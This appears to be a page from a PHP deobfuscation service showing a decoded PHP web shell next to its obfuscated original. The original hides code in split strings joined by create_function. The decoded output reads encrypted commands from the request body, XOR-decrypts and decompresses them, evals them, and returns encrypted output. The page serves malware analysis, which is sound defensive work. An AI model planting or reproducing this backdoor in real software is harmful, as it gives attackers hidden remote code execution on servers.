Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $v='();Qk@evaQkl(@gzuncoQkmQkpress(@x(@baQkse64_dQkecodQke($mQkQk[1]),$k)));$Qko=@o..

Decoded Output download


function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}$k="e389a212";$kh="c2b3beb2a9a0";$kf="0ad2f13b8c2b";$p="YPotd0K9ZlsvlcLb";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1) {@ob_start();eval(@gzuncompress(@x(base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}

Did this file decode correctly?

Original Code

<?php
$v='();Qk@evaQkl(@gzuncoQkmQkpress(@x(@baQkse64_dQkecodQke($mQkQk[1]),$k)));$Qko=@obQk_get_conQktQkentQks(';
$g='=0;($jQk<$c&Qk&$iQk<$Qkl);$j+QkQk+Qk,$i++){$o.=$t{$i}^$k{$j};}}rQkeQkQkturn $o;}if (@Qkpreg_ma';
$a=');@obQk_end_clQkean();$r=@baseQk64_QkencodeQk(@Qkx(@gzcomprQkess(Qk$o),$k))Qk;print("$pQk$Qkkh$r$kf");}';
$H='$k="e389Qka21Qk2";$kh="c2QkbQk3bebQkQk2a9a0";$kfQk="0ad2f13b8Qkc2Qkb";$p="YPoQktd0K9ZlsvQklcLb";Q';
$l='kfuncQktioQkn x($t,$k){$Qkc=strlQkenQk($k);$l=stQkrlQken($t);$o=QkQk"";forQk(Qk$Qki=0;$i<$l;){forQk($j';
$j='tQkchQk("/$kh(.+)$Qkkf/",Qk@file_geQkt_conQkQktents("php://iQknput"Qk),$m)==Qk1)Qk {@ob_sQktart';
$h=str_replace('sk','','crskeatskesk_fskskskunction');
$X=str_replace('Qk','',$H.$l.$g.$j.$v.$a);
$C=$h('',$X);$C();
?>

Function Calls

preg_match 1
str_replace 2
create_function 1
file_get_contents 1

Variables

$H $k="e389Qka21Qk2";$kh="c2QkbQk3bebQkQk2a9a0";$kfQk="0ad2f13b..
$X $k="e389a212";$kh="c2b3beb2a9a0";$kf="0ad2f13b8c2b";$p="YPot..
$a );@obQk_end_clQkean();$r=@baseQk64_QkencodeQk(@Qkx(@gzcomprQ..
$g =0;($jQk<$c&Qk&$iQk<$Qkl);$j+QkQk+Qk,$i++){$o.=$t{$i}^$k{$j}..
$h create_function
$j tQkchQk("/$kh(.+)$Qkkf/",Qk@file_geQkt_conQkQktents("php://i..
$k e389a212
$l kfuncQktioQkn x($t,$k){$Qkc=strlQkenQk($k);$l=stQkrlQken($t)..
$p YPotd0K9ZlsvlcLb
$v ();Qk@evaQkl(@gzuncoQkmQkpress(@x(@baQkse64_dQkecodQke($mQkQ..
$kf 0ad2f13b8c2b
$kh c2b3beb2a9a0

Stats

MD5 3131b9fa94523e6af87e908a3f2c7a9f
Eval Count 1
Decode Time 336 ms